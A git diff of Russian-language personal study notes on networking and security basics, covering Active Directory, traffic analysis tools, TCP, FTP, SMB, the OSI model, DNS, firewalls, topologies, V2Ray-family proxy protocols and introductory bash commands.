init
@@ -0,0 +1,3 @@
|
||||
%% Zoottelkeeper: Beginning of the autogenerated index file list %%
|
||||
[[cybersec/AD/Active Directory Basics|Active Directory Basics]]
|
||||
%% Zoottelkeeper: End of the autogenerated index file list %%
|
||||
@@ -0,0 +1,28 @@
|
||||
Сервер, на котором запущен Active Directory называется ***Доменный контроллер***
|
||||
Главные примеущества:
|
||||
1. Централизованное управление пользователями
|
||||
2. Управление политиками безопасности - вы можете настроить политику на доменном контроллере и применить её на всю сеть
|
||||
|
||||
### Пользователи
|
||||
Пользователи одна из самых распространённых типов объектов в **AD**. Пользователи могут быть аутентифицированны доменом и им могут быть выданы привелегии, такие как чтение файлов и использование притеров. Пользователи делятся на 2 типа:
|
||||
1. **Люди** - пользователи, отражающие человека в компании, который пользуется компьютером.
|
||||
2. **Сервисы** - пользователи, созданные для корректной работы сервисов (базы данных и т.д). Такие пользователи очень сильно ограниченны в правах и имеют доступ только к тем привелегиям, которые необходимы для их корректной работы.
|
||||
|
||||
### Машины
|
||||
Еще один тип объектов. Когда компьютер присоединяется к домену, объект создается. Так же подчиняются политикам безопасности, но имеют учётную запись локального администратора, имеющая полный доступ к рессурсам машины.
|
||||
|
||||
### Группы
|
||||
Группы позволяют объединить пользователей и машины для удобного управления правами и привелегиями. Так же подчинаются политикам безопасности и имеют привелегии на рессурсы в сети.
|
||||
|
||||
### Группы по умолчанию
|
||||
После установки AD создаются группы по умолчанию:
|
||||
|
||||
| Группа | Описание |
|
||||
| -------------------------------- | --------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Администраторы домена | Юзеры этой групы имеют админ права на всем домене. По умолчанию могут администрировать любой ПК включая Доменный Контроллер |
|
||||
| Операторы Сервера | Пользователи могут администировать Доменный Контроллер. Они не могут изменять членство в каких-либо других группах. |
|
||||
| Операторы Резервного Копирования | Юзеры имеют доступ к любому файлу игнорируя права. Используются для создания резевных копий. |
|
||||
| Операторы Аккаунтов | Юзеры могут создавать или изменять другие аккаунты в домене |
|
||||
| Доменные пользователи | Все пользователи домена |
|
||||
| Доменные компы | Все компы домена |
|
||||
| Доменные Контроллеры | Все Доменные контроллеры |
|
||||
@@ -0,0 +1,3 @@
|
||||
%% Zoottelkeeper: Beginning of the autogenerated index file list %%
|
||||
[[cybersec/Computer science/Архитектура компьютера|Архитектура компьютера]]
|
||||
%% Zoottelkeeper: End of the autogenerated index file list %%
|
||||
@@ -0,0 +1,3 @@
|
||||
%% Zoottelkeeper: Beginning of the autogenerated index file list %%
|
||||
[[cybersec/Forensic/Network layers|Network layers]]
|
||||
%% Zoottelkeeper: End of the autogenerated index file list %%
|
||||
@@ -0,0 +1,148 @@
|
||||
**NTA (Network Traffic Analysis) - Анализ сетевого трафика** включает в себя:
|
||||
1. **Collecting traffic** - сбор трафика в режиме real time
|
||||
2. **Setting a baseline for day-to-day network communications** - Установка базового уровня для повседневной сетевой связи.
|
||||
3. **Identifying and analyzing** - идентификация и анализ трафика на нестандартных портах, подозрительных хостах и различных проблем с протоколами.
|
||||
4. **Detecting** - распознавание вирусов в сети, таких как программы-вымогатели, эксплойты и не стандартные события.
|
||||
|
||||
| Инструмент | Описание |
|
||||
| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **tcpdump** | утилита командной строки, которая спомощью LibPcap захватывает и интерпретирует сетевой трафик из сетевого интерфейса или файла захвата |
|
||||
| **Tshark** | Анализатор, похожий на tcpdump, захватывает пакеты из действующей сети или читает и декодирует файлы. Wireshark только в консоли |
|
||||
| **Wireshark** | Графический анализатор сетевого трафика. Захватывает и декодирует кадры по сети и позволяет глубже изучить окружающую среду. Может запускать множество различных анализаторов трафика, что бы охарактеризовать протоколы и приложения и получить представление о том, что происходит |
|
||||
| **NGrep** | как grep только для сети, работает pcap файлами |
|
||||
| **tcpick** | анализатор пакетов в командной строке, специализируется на отслеживании и повторной сборке TCP потоков. |
|
||||
| **Network Teps** | Тапы - устройства, способные снимать копию трафика и отправлять в другое место для анализа. Могут быть линейными и внеполосными. Могут активно перехватывать и анализировать трафик напрямую или пассивно, возвращая исходный пакет обратно в сеть, будто ничего не происходило |
|
||||
| **Networking Span Ports** | Способ копирования кадров с сетевых устройств второго или третьего уровня во вреся исходящей или входящей обработки и отправки их в точку сбора. |
|
||||
| **Elastic Stack** | кульминация инструментов, которые могут получать данные из многих источников, принимать их и визуализировать, что бы обеспечить их посик и анализ |
|
||||
| **SIEMS** | являются центральной точкой анализа и визуализации данных |
|
||||
# Процесс анализа трафика
|
||||
|
||||
![[Pasted image 20250105162015.png]]
|
||||
1. **Получение трафика**
|
||||
2. **Удаление шума с помощью фильтрации** - фильтрация трафика от ненужной нам информации
|
||||
3. **Анализ и исследование трафика** - Осмотр отфильтрованного трафика, проверка на наличие подозрительных хостов, подключений к редкоиспользуемым портам и проверка флагов в заголовке TCP.
|
||||
4. **Обнаружение и оповещение**
|
||||
5. **Исправление и мониторинг трафика**
|
||||
Пятый пункт фактически начинает процесс с самого начала, т.е. сам по себе процес всегда зациклен и должен выполнятся.
|
||||
|
||||
# OSI\TCP-IP
|
||||
![[Pasted image 20250105164935.png]]
|
||||
![[Pasted image 20250105165103.png]]
|
||||
![[Pasted image 20250105165110.png]]
|
||||
**MAC Address** - 48 битный, 6 байтный адрес, представленный в шестнадцатиричном формате. Используется на 2 уровне OSI или на 1 уровне TCP-IP, обеспечивая связь между хостами. Каждая сетевая карта имеет уникальный, встроенный MAC адрес, прошитый с ней при изготовлении.
|
||||
![[Pasted image 20250105165916.png]]
|
||||
**octet** - В сетевой терминологии октет (octet) обозначает последовательность из 8 битов. С помощью октетов определяют данные, передаваемые в сети. Например, в виде байтов (1 байт = 1 октет). В этом случае октеты могут представлять символы, числа или другую информацию, передаваемую через сетевое соединение.
|
||||
***IP address*** - (Internet protocol address) уникальный числовой идентификатор устройства в сети интернет, отвечает за маршрутизацию пакетов.
|
||||
**IPv4** - самый распространненный вид ip адреса, состоит из 4 байтов (32битное число), записывается в десятичной системе исчисления в виде четырех чисел, от 0 до 255, разделенных точкамим, например **192.168.0.1**
|
||||
# IPv6
|
||||
**IPv6** - состоит из 16 байтов (128 битов), записывается в виде восьми четырехзначных шестнадцатеричных чисел, разделенных двоеточием, например **`2001:0db8:85a3:0000:0000:8a2e:0370:7334`**.
|
||||
В данном случае "пропуски" относятся к сокращению записи **IPv6-адресов**. IPv6-адреса состоят из восьми групп по четыре шестнадцатеричных цифры (каждая группа разделена двоеточием). Если одна или несколько групп состоят из нулей, их можно **опустить**, чтобы сократить запись.
|
||||
|
||||
### Что значит опускание нулей?
|
||||
|
||||
1. **Ведущие нули в группе можно не указывать.**
|
||||
Например:
|
||||
Группа `00ab` может быть записана как `ab`.
|
||||
|
||||
2. **Последовательность групп, содержащих только нули, можно заменить двойным двоеточием (`::`).**
|
||||
Например:
|
||||
Адрес `fe80:0:0:0:0:0:0:1` содержит 6 групп из нулей подряд. Эти нулевые группы можно заменить двойным двоеточием:
|
||||
**`fe80::1`**.
|
||||
|
||||
3. **Двойное двоеточие можно использовать только один раз в адресе.**
|
||||
Это ограничение существует для того, чтобы однозначно восстановить полный адрес. Если использовать `::` дважды, было бы непонятно, сколько групп нулей пропущено в каждом месте.
|
||||
|
||||
|
||||
### Пример объяснения сокращения
|
||||
|
||||
Рассмотрим адрес:
|
||||
`2001:0db8:0000:0000:0000:ff00:0042:8329`
|
||||
|
||||
1. Уберем ведущие нули в каждой группе:
|
||||
**`2001:db8:0:0:0:ff00:42:8329`**
|
||||
|
||||
2. Заменим подряд идущие группы из нулей двойным двоеточием:
|
||||
**`2001:db8::ff00:42:8329`**
|
||||
|
||||
|
||||
Если вы встретите адрес с двойным двоеточием, например, `2001:db8::1`, это означает, что пропущенные группы заполнены нулями:
|
||||
**`2001:0db8:0000:0000:0000:0000:0000:0001`**.
|
||||
### Тип адресации IPv6
|
||||
|
||||
| Тип | Описание |
|
||||
| --------- | ----------------------------------------------------------------------- |
|
||||
| Unicast | Адрема для одного интерфейса |
|
||||
| Anycast | Адреса для нескольких интерфейсов, где только один получает пакеты |
|
||||
| Multicast | Адреса для нескольких интерфейсов, где они получают один и тот же пакет |
|
||||
| Broadcast | Не существует и реализуется с помощью Multicast |
|
||||
## TCP трехстороннее рукопожатие
|
||||
Основные флаги TCP:
|
||||
1. **SYN** - синхронизация
|
||||
2. **ACK** - подтверждение
|
||||
|
||||
### Что происходит когда клиент запрашивает связь с сервером по TCP?
|
||||
1. Клиент оправляет пакет с флагом **SYN** и другими согласованными параметрами в заголовке TCP
|
||||
1. Это пакет синхронизации. Он будет установлен только в первом пакете от хоста и сервера и позволяет установить сеанс, позволяя с обоих концов согласовать порядковый номер для начала связи
|
||||
2. Это играет решающую роль в отслеживании пакетов. Наряду с синхронизацией порядкового номера, на этом этапе согласуются многие другие параметры.
|
||||
2. Сервет отвечает TCP пакетом, внутри которого установлен **SYN** флаг для согласования порядкового номера и флаг **ACK** для подтверждения предыдущего пакета **SYN**, отправленного клиентом.
|
||||
1. Сервер так же включит любые изменения в параметры TCP, которые ему необходимо установить в полях заголовка.
|
||||
3. Клиент ответит TCP пакетом, включающим в себя **ACK** для подтверждения согласия на согласование. Этот пакет завершает трехстороннее рукопожатие (three-way handshake) и устанавливает соединение между клиентом и сервером.
|
||||
![[Pasted image 20250105183609.png]]
|
||||
Если посмотреть на красный квадрат, то мы увидим пример трехстороннего рукопожатия. Сначала клиент отправляет **SYN** флаг серверу, на что сервер отвечает **SYN** для согласования порядкового номера и **ACK** для подтверждения предыдущего **SYN**. После чего идет последний пакет **ACK** от клиента, который завершает рукопожатия и устанавливает соединение.
|
||||
Зеленым подчеркнуты 2 числа - одно из них это случайный номер "старшего" порта (клиенского порта, назначенного из диапазона динамических портов (**49152–65535**) операционной системой ) и "младшего" порта (порта на стороне сервера, на котором сервер принимает входящие подключения. Обычно это порт из диапазона **0–1023** ). В данном случае порт **80** это младший порт, стандартный порт для HTTP соединения, а **57678** - старший порт со стороны клиента.
|
||||
### Окончание соединения TCP
|
||||
![[Pasted image 20250105185359.png]]
|
||||
Флаг **FIN** используется для обозначения необходимости разрыва соединения, и отправитель запрашивает завершение соединения.
|
||||
Клиент подтверждает получение данных и отправляет **FIN** и **ACK** что бы завершить сессию. Сервер подтверждает получение **FIN** от клиента и отправляет **FIN ACK**. В итоге, клиент подтверждает закрытие сессии и закрывает соединение.
|
||||
Всегда перед закрытием соединения мы увидим такую комбинацию:
|
||||
1. **`FIN, ACK`**
|
||||
2. **`FIN, ACK`**,
|
||||
3. **`ACK`**
|
||||
# FTP
|
||||
**FTP** - file transfer protocol. Протокол позволяет быстро передавать данные между вычислительными устройствами. **Признан небезопасным и браузеры не поддерживают с 2020 года***. Использует **20 порт** для передачи данных и **21 порт** для получения данных.
|
||||
Может работать в 2х режимах: **active** (по умолчанию) и **passive**.
|
||||
**Active** в этом типе FTP клиент инициирует установление соединения с FTP-сервером, после чего сервер открывает новый порт для передачи данных, которые клиент должен принять. По умолчанию сервер использует порт 20 для передачи данных, а клиент использует порт 21 для установления соединения. Проблема этого типа FTP заключается в том, что многие сети блокируют входящие соединения на порту 20. **Passive** - в этом типе FTP клиент инициирует установление соединения с FTP-сервером, после чего сервер отвечает клиенту со своим IP-адресом и номером порта, который клиент может использовать для передачи данных. Этот тип FTP широко используется в Интернете, так как клиентам не нужно открывать новые порты для передачи данных, что делает его более безопасным и надежным.
|
||||
#### FTP Commands
|
||||
| Команда | Описание |
|
||||
| ------- | ---------------------------------------------------------------------- |
|
||||
| ftp | запускает программу FTP-клиента в командной строке |
|
||||
| open | устанавливает соединение с FTP-сервером |
|
||||
| user | вводит имя пользователя для аутентификации на FTP-сервере |
|
||||
| pass | вводит пароль для аутентификации на FTP-сервере |
|
||||
| cd | изменяет текущую директорию на FTP-сервере |
|
||||
| lcd | изменяет текущую директорию на локальном компьютере |
|
||||
| ls | показывает содержимое текущей директории на FTP-сервере |
|
||||
| dir | показывает содержимое текущей директории на FTP-сервере в виде таблицы |
|
||||
| get | скачивает файл с FTP-сервера на локальный компьютер |
|
||||
| mget | скачивает несколько файлов с FTP-сервера на локальный компьютер |
|
||||
| put | загружает файл с локального компьютера на FTP-сервер |
|
||||
| mput | загружает несколько файлов с локального компьютера на FTP-сервер |
|
||||
| delete | удаляет файл на FTP-сервере |
|
||||
| mdelete | удаляет несколько файлов на FTP-сервере |
|
||||
| quit | закрывает соединение с FTP-сервером и выходит из программы FTP-клиента |
|
||||
# SMB
|
||||
**SMB** - Server Message Block - протокол удалённого доступа, позволяющий совместно использовать ресурсы хостов. Требует аутентификации пользователя что бы гарантировать что у пользователя есть права на использование этого ресурса и выполнения действий.
|
||||
|
||||
| Название механизма | порты |
|
||||
| ------------------ | ----------- |
|
||||
| NetBios | UDP 137/138 |
|
||||
| TCP | TCP 445 |
|
||||
| NetBios | TCP 139 |
|
||||
|
||||
## Анализ трафика
|
||||
**Анализ тарфика** - детальное исследование события или процесса, определение его происхождения и влияния, принятие конкретных мер предосторожности и действий для предотвращения угроз. Касаемо сетевого трафика - обработка полученного дампа, устранение шума, проверка на наличие подозрительных моментов.
|
||||
|
||||
| **Dependencies** | **Passive** | **Active** | **Description** |
|
||||
| ----------------------------------------- | ----------- | ---------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `Permission` | `☑` | `☑` | В зависимости от организации, в которой мы работаем, сбор данных может противоречить политике или даже закону в некоторых чувствительных областях, таких как здравоохранение или банковское дело. Обязательно всегда получайте разрешение в письменной форме от лица, обладающего соответствующими полномочиями, чтобы предоставить вам его. Мы можем называть себя хакерами, но мы хотим оставаться в свете с юридической и этической точки зрения. |
|
||||
| `Mirrored Port` | `☑` | ☐ | Сетевой интерфейс коммутатора или маршрутизатора, настроенный для копирования данных из других источников в этот конкретный интерфейс, а также возможность перевода вашего сетевого адаптера в неразборчивый режим. Копирование пакетов на наш порт позволяет нам проверять любой трафик, предназначенный для других каналов, который мы обычно не можем видеть. Поскольку VLAN и порты коммутатора не будут пересылать трафик за пределы своего широковещательного домена, нам необходимо подключиться к сегменту или скопировать этот трафик на наш конкретный порт. Когда речь идет о беспроводной связи, пассивная технология может быть немного сложнее. Мы должны быть подключены к SSID, от которого мы хотим захватывать трафик. Простое пассивное прослушивание радиоволн вокруг нас предоставит нам множество рекламных объявлений SSID, но не более того. |
|
||||
| `Capture Tool` | `☑` | `☑` | Способ поглощения трафика. Достаточно компьютера с доступом к таким инструментам, как TCPDump, Wireshark, Netminer или другим. Имейте в виду, что при работе с данными PCAP эти файлы могут быстро стать очень большими. Каждый раз, когда мы применяем к нему фильтр в таких инструментах, как Wireshark, приложение снова анализирует эти данные. Это может быть ресурсоемкий процесс, поэтому убедитесь, что на хосте достаточно ресурсов. |
|
||||
| `In-line Placement` | ☐ | `☑` | Установка Tap в линию требует изменения топологии сети, в которой вы работаете. Хосты источника и назначения не заметят разницы в трафике, но ради маршрутизации и коммутации это будет невидимый следующий переход трафика. проходит по пути к месту назначения. |
|
||||
| `Network Tap or Host With Multiple NIC's` | ☐ | `☑` | Компьютер с двумя сетевыми адаптерами или такое устройство, как сетевой перехватчик, необходим для обеспечения бесперебойной передачи данных, которые мы проверяем. Думайте об этом как о добавлении еще одного маршрутизатора в середину канала. Для активного захвата трафика мы будем дублировать данные непосредственно из источников. Лучшее место для ответвления — на третьем уровне связи между коммутируемыми сегментами. Это позволяет захватывать любую маршрутизацию трафика за пределами локальной сети. Коммутируемый порт или сегментация VLAN не отфильтровывают наше мнение здесь. |
|
||||
| `Storage and Processing Power` | `☑` | `☑` | Вам понадобится много места для хранения и вычислительная мощность для захвата трафика. Гораздо больше трафика проходит по каналу третьего уровня, чем только внутри коммутируемой локальной сети. Подумайте об этом так; Когда мы пассивно захватываем трафик внутри локальной сети, это похоже на наливание воды в чашку из фонтана. Это постоянный поток, но управляемый. Активный захват трафика по маршрутизируемому каналу больше похож на использование шланга для наполнения чашки воды. За потоком стоит гораздо большее давление, и хосту может потребоваться большая обработка и хранение. |
|
||||
# TCPdump
|
||||
Базовые команды
|
||||
|
||||
| Команда | Результат |
|
||||
| ------- | ---------------------------- |
|
||||
| -D | Покажет доступные интерфейсы |
|
||||
@@ -0,0 +1,3 @@
|
||||
***DHCP (Dynamic Host Configuration Protocol)*** - это протокол на уровне приложений (application level), который базируется на **UDP** - сервер открывает UDP 67 порт, а клиент UDP 68 порт для прослушивания.
|
||||
|
||||
DHCP придерживается 4 шагов:
|
||||
@@ -0,0 +1,15 @@
|
||||
**DNS** - простой путь общения между девайсами в интернете без запоминания большого количества чисел. Т.е вместо того, что бы писать 8.8.8.8 - можно просто написать google.com.
|
||||
|
||||
Виды DNS
|
||||
1. TLD (Top-Level Domain) - домен первого уровня, самый популярный и расспространённый вид домена. Делиться на 2 вида доменов:
|
||||
- Generic Top-Level (.com, .org)
|
||||
- Country Code Top-Level (.ru, .us)
|
||||
2. Second-Level Domain - часть домена, которая является названием сайта, например у google.com - google это Second-Level Domain
|
||||
3. Subdomain - admin.tryhackme.com - где admin это часть субдомена
|
||||
|
||||
Типы DNS записей
|
||||
1. ***A record*** - включает в себя *IPv4* адресс
|
||||
2. ***AAAA record*** - включает в себя *IPv6* адресс
|
||||
3. ***CNAME*** - включает в себя другое доменное имя. К примеру онлай магазин thm имеет домен store.tryhackme.com, который возвращает *CNAME* запись shops.shopify.com
|
||||
4. ***MX*** - включает в себя адрес email
|
||||
5. ***TXT*** - любая txt запись
|
||||
@@ -0,0 +1,15 @@
|
||||
****
|
||||
**Firewall** - (фаерволл, брандмауэр) используется для фильтрации трафика.
|
||||
Фильтрация происходит по таким факторам как:
|
||||
1. Откуда исходит трафик?
|
||||
2. Куда направляется трафик?
|
||||
3. Для какого порта?
|
||||
4. Какой протокол используется?
|
||||
(в некоторых случаях возможна фильтрация по содержанию)
|
||||
|
||||
Поговорим про две основные категории:
|
||||
|
||||
| Категория | Описание |
|
||||
| --------- | --------------------------------------------------------------------------- |
|
||||
| Stateful | этот брандмауэр определяет поведение устройства на основе всего соединения. |
|
||||
| Stateless | Устанавливает статические правила для индивидуальных пакетов |
|
||||
@@ -0,0 +1,9 @@
|
||||
%% Zoottelkeeper: Beginning of the autogenerated index file list %%
|
||||
[[cybersec/Network/DHCP|DHCP]]
|
||||
[[cybersec/Network/DNS|DNS]]
|
||||
[[cybersec/Network/Firewall|Firewall]]
|
||||
[[cybersec/Network/photoes/photoes|photoes]]
|
||||
[[cybersec/Network/Введение в сети.|Введение в сети.]]
|
||||
[[cybersec/Network/Топологии|Топологии]]
|
||||
[[cybersec/Network/Что такое Vless, Vmess, shadowsocks|Что такое Vless, Vmess, shadowsocks]]
|
||||
%% Zoottelkeeper: End of the autogenerated index file list %%
|
||||
|
After Width: | Height: | Size: 49 KiB |
|
After Width: | Height: | Size: 99 KiB |
|
After Width: | Height: | Size: 126 KiB |
|
After Width: | Height: | Size: 162 KiB |
@@ -0,0 +1,29 @@
|
||||
**OSI** - теоритическая модель, показывающая как работает сеть.
|
||||
|
||||
| Название уровня | Описание уровня |
|
||||
| ----------------------------------- | --------------------------------------------------------------- |
|
||||
| 7. Приложение (**Application**) | На этом уровне работают протаколы **HTTP**, **FTP** и подобные. |
|
||||
| 6. Представление (**Presentation**) | Сжатие и шифрование, добавление meta данных. |
|
||||
| 5. Сессионный (**Session**) | Поддержка соединения и синхронизация. |
|
||||
| 4. Транспортный (**Transport**) | TCP, UDP, порты и так далее. |
|
||||
| 3. Сетевой (**Network**) | IP, Маршрутизация, пакеты |
|
||||
| 2. Канальный (**Datalink**) | MAC адреса, комутирование (switch) |
|
||||
| 1.Физический (**Physical**) | Пересылка данных по кабелю, оптоволокну и так далее. |
|
||||
## MAC address
|
||||
**MAC address** - 48 битный адрес, является уникальным идентификатором сетевого оборудования (сетевой карты и т.д). Имеет вид **XX:XX:XX:XX:XX:XX**. Используется на 2 уровне **OSI**.
|
||||
|
||||
## IP address
|
||||
**IP address** - internet protocol - набор символов, позволяющий компьютерам идентифицировать друг друга.
|
||||
|
||||
**IPv4** - 32 битный адрес, записывающийся как числа десятичной системы исчисления, разделённые точкой. Разделен на 4 блока, максимальная величина которых - 255.
|
||||
Пример IP адреса - **192.168.1.50**
|
||||
|
||||
**IPv6** - 128 битный адрес, записывающийся как числа шеснадцатиричной системы исчисления, разделенные двоеточием.
|
||||
|
||||
## Подсети
|
||||
**Маска подсети** - показывает, какая часть адрса указывает на адрес сети, а какая на конкретное устройство.
|
||||
|
||||
## NAT
|
||||
**NAT** - позволяет через один IP подключить несколько компьютеров. (Эту тему расскроем подробнее позже)
|
||||
|
||||
# Основные типы сетей
|
||||
@@ -0,0 +1,14 @@
|
||||
**Двуточечная топология** - топология, при которой два хоста соеденены кабелем напрямую.
|
||||
![[Pasted image 20250307092204.png]]
|
||||
|
||||
**Шинная топология** - топология, при которой все хосты соеденены с общей шиной. Так как среда передачи общая, отправлять данные может только один хост может отправлять данные, остальные же - только читать и оценивать.
|
||||
![[Pasted image 20250307092214.png]]
|
||||
|
||||
**Звездная топология** - все хосты подключаются к **ценральному** устройству (обычно это хаб, коммутатор или маршрутизатор) которое управляет пакетами и трафиком.![[Pasted image 20250312213119.png]]
|
||||
|
||||
**Кольцевая топология** -
|
||||
На физическом уровне:
|
||||
- В каждый хост подключается по 2 кабеля, один для получения информации, другой - для отправки.
|
||||
На логическом уровне:
|
||||
Базируется на физическом уровне звездной топологии, где дистребьютер симулирует кольцо, перенаправляя трафик от одного порта к следующему..
|
||||
![[Pasted image 20250312220104.png]]
|
||||
@@ -0,0 +1,32 @@
|
||||
Перед тем, как обсуждать протоколы, предлагаю ознакомится со статьей про proxy, если вдруг кто-то из читающих еще не знает что это такое: [тык](https://selectel.ru/blog/what-is-proxy/)
|
||||
|
||||
Для понимания, что такое Vless, Vmess, shadowsocks нам надо разобрать что такое ***V2Ray***.
|
||||
|
||||
***V2Ray*** - гипкая платформа для прокси, позволяющая шифровать, маршрутизировать и скрывать трафик. Как она работает?
|
||||
1. **Клиент отправляет запрос**
|
||||
2. **Данные шифруются**
|
||||
- Клиент шифрует трафик с использованием настроенного протокола (например, VMess, Shadowsocks, Trojan или других).
|
||||
- Шифрование делает трафик нечитаемым для провайдера и систем наблюдения, скрывая содержимое и даже сам факт использования прокси.
|
||||
3. **Данные передаются на сервер**
|
||||
- Шифрованный трафик отправляется на сервер V2Ray через выбранный транспортный протокол:
|
||||
- **TCP** (надежная передача данных),
|
||||
- **WebSocket** (имитация веб-трафика),
|
||||
- **QUIC** (быстрая передача с меньшими задержками),
|
||||
- **TLS** (шифрование поверх HTTPS для сокрытия трафика).
|
||||
- Сервер может быть настроен так, чтобы имитировать обычные HTTPS-запросы, что помогает обходить блокировки.
|
||||
4. **Обработка на сервере**:
|
||||
- Сервер V2Ray принимает зашифрованные данные, расшифровывает их и перенаправляет на нужный ресурс (например, веб-сайт, API, или другой сервер).
|
||||
- Сервер маскирует запрос, делая его похожим на обычный HTTP/HTTPS-трафик, чтобы избежать обнаружения.
|
||||
5. **Ответ от сервера**:
|
||||
- Ответ от запрашиваемого ресурса поступает на сервер V2Ray.
|
||||
- Сервер шифрует данные и передаёт их обратно клиенту.
|
||||
6. **Клиент расшифровывает данные**:
|
||||
- Клиент получает зашифрованные данные от сервера, расшифровывает их и передаёт исходному приложению (например, браузеру).
|
||||
|
||||
**Shadowsocks** - бесплатный open-source протокол, широко используемый в китае для обхода блокировок. Сам по себе не является прокси, но как правило является клиентским ПО, помогающее подключится к стороннему прокси серверу SOCKS5. После подключения трафик будет перенаправлен в прокси.
|
||||
|
||||
**Vless** - это протокол управления пользователем для аутентификации/связи клиент-сервер, который НЕ работает без какого-либо другого метода шифрования, такого как XTLS в случае Xray. Более безопасен и производителен, в сравнении с оригинальным V2Ray.
|
||||
|
||||
**Vmess** - протокол, использующий AES, RSA и HMAC для шифрования трафика, а TCP, UDP, mKCP и WebSocket в качестве способов передачи. Не считается безопасным с 2020 года, поскольку GFW (Great Firewall) в китае совершенствует свои методы перехвата пакетов.
|
||||
|
||||
Сравнение на личном опыте. У меня поднят https://github.com/Gozargah/Marzban, который позволяет выбирать протоколы для подключения, и vless самый быстрый и стабильный из троих.
|
||||
@@ -0,0 +1,241 @@
|
||||
|
||||
## Перемещение по файловой системе и работа с ней.
|
||||
|
||||
### 1. cd
|
||||
|
||||
```
|
||||
cd </path/to/directory>
|
||||
```
|
||||
|
||||
Сокращенное _change directory_. Позволяет перемещаться по файловой системе.
|
||||
|
||||
Путь может быть как абсолютным (_начмнаться с /_), так и относительным (_подразумевается расположение пути относительно текущего_).
|
||||
|
||||

|
||||
|
||||
- **cd** без параметров перемещает в домашнюю директорию пользователя.
|
||||
- **cd -** перемещает по прошлому пути.
|
||||
- **.** (точка) текущая директория
|
||||
- **..** (две точки) родительская директория
|
||||
- **~** (тильда) домашняя директория пользователя
|
||||
|
||||
### 2. pwd
|
||||
|
||||
```
|
||||
pwd
|
||||
```
|
||||
|
||||
Cокращение от _print work directory_. Выводит текущий абсолютный путь.
|
||||
|
||||

|
||||
|
||||
### 3. ls
|
||||
|
||||
```
|
||||
ls </path/to/directory>
|
||||
```
|
||||
|
||||
Сокращение от list. Отбражает все **файлы** и **директории** в директории </path/to/directory>.
|
||||
|
||||

|
||||
|
||||
- **ls** без параметров отображает все файлы и директории по **текущему** пути
|
||||
- **ls -a** отображает скрытые файлы и папки
|
||||
- **ls -l** отображает расширенную информацию о файлах и папках
|
||||
|
||||
### 4. cat
|
||||
|
||||
```
|
||||
cat <file_name>
|
||||
```
|
||||
|
||||
Отображает содержимое файла file_name.
|
||||
|
||||

|
||||
|
||||
### 5. less
|
||||
|
||||
```
|
||||
less <file_name>
|
||||
```
|
||||
|
||||
Отображает содержимое файла file_name, выводит только содержимое помещающееся в окно терминала. Навигация по файлу возможна **клавишами-стрелками**, кнопка "q" закрывает просмотр.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### 6. file
|
||||
|
||||
```
|
||||
file <file_name>
|
||||
```
|
||||
|
||||
Выводит на экран тип файла. Настоящий тип, а не указанный в расширении.
|
||||
|
||||

|
||||
|
||||
### 7. cp
|
||||
|
||||
```
|
||||
cp <file1> <file2>
|
||||
```
|
||||
|
||||
Сокращение от **copy**. Копирует файл **file1** по пути **file2**.
|
||||
|
||||
### 8. mv
|
||||
|
||||
```
|
||||
mv file1 file2
|
||||
```
|
||||
|
||||
Сокращение от **move**.
|
||||
|
||||
Перемещает файл **file1** по пути **file2**.
|
||||
|
||||
### 9. rm
|
||||
|
||||
```
|
||||
rm <file1>
|
||||
```
|
||||
|
||||
Сокращение от **remove**.
|
||||
|
||||
Удаляет файл **file1**.
|
||||
|
||||
- **rm -r** удаляет директорию
|
||||
|
||||
### 10. mkdir
|
||||
|
||||
```
|
||||
mkdir <directory>
|
||||
```
|
||||
|
||||
Сокращение от **make directory**.
|
||||
|
||||
Создает директории с именем **directory**.
|
||||
|
||||
### 11. locate
|
||||
|
||||
```
|
||||
locate <file>
|
||||
```
|
||||
|
||||
Возвращает все пути с вхождениями **file** в них.
|
||||
|
||||
### 12. man
|
||||
|
||||
```
|
||||
man <cmd>
|
||||
```
|
||||
|
||||
Отображает справку по команде **cmd**.
|
||||
|
||||
### 13. echo
|
||||
|
||||
```
|
||||
echo <string>
|
||||
```
|
||||
|
||||
Выводит заданную строку **string** на экран.
|
||||
|
||||
### 14. strings
|
||||
|
||||
```
|
||||
strings <file1>
|
||||
```
|
||||
|
||||
Выводит все строки с печатными символами из файла **file1** на экран.
|
||||
|
||||
## Перенаправление вывода
|
||||
|
||||
Bash позволяет перенаправлять стандартный вывод в файлы с помощью оператора **>**. Если файл не существовал, он будет создан, иначе он будет перезаписан.
|
||||
|
||||
```
|
||||
$ echo hello! > 1.txt
|
||||
$ ls
|
||||
1.txt
|
||||
$ cat 1.txt
|
||||
hello!
|
||||
```
|
||||
|
||||
Если требуется _дописать_ строку в файл используется оператор **>>**.
|
||||
|
||||
## Конвейер
|
||||
|
||||
Если нужно перенаправить вывод одной команды на вход другой используется оператор **|**.
|
||||
|
||||
```
|
||||
$ locate bin | less
|
||||
```
|
||||
|
||||
## Поиск по содержимому файлов
|
||||
|
||||
```
|
||||
$ grep [opts] "pattern" file
|
||||
```
|
||||
|
||||
```
|
||||
$ cat file | grep [opts] "pattern"
|
||||
```
|
||||
|
||||
**-v** - вывести строки, где не всречается образец
|
||||
**-i** - игнорировать регистр символов
|
||||
**-n** - печатать номера строк
|
||||
**-a** - искать по бинарным файлам
|
||||
**-E** - расширенные регулярные выражения
|
||||
**-o** - вывести только совпадающую с образцом часть строки
|
||||
|
||||
## Регулярные выражения
|
||||
|
||||
```
|
||||
$ egrep [opts] "pattern" file
|
||||
```
|
||||
|
||||
```
|
||||
$ cat file | egrep [opts] "pattern"
|
||||
```
|
||||
|
||||
`^` `"^license"` - начало строки
|
||||
`$` `"license$"` - конец строки
|
||||
`[abc]` `"[0-9]"` - любой символ из перечисленных
|
||||
`[^abc]` `"[^ ]1"` - любой кроме перечисленных
|
||||
`[ab]{8}` `"w{3}"` - повторяется несколько раз
|
||||
`(abc)` `"(license)"` - группа символов
|
||||
`.` `"Li.en.e"` - любой символ
|
||||
`*` `"\([a-z ]*\"` - повторить ноль или больше раз
|
||||
`+` `"\(a.+\)"` - повторить один или больше раз
|
||||
`?` `"(copy)?right"` - повторить ноль или один раз
|
||||
|
||||
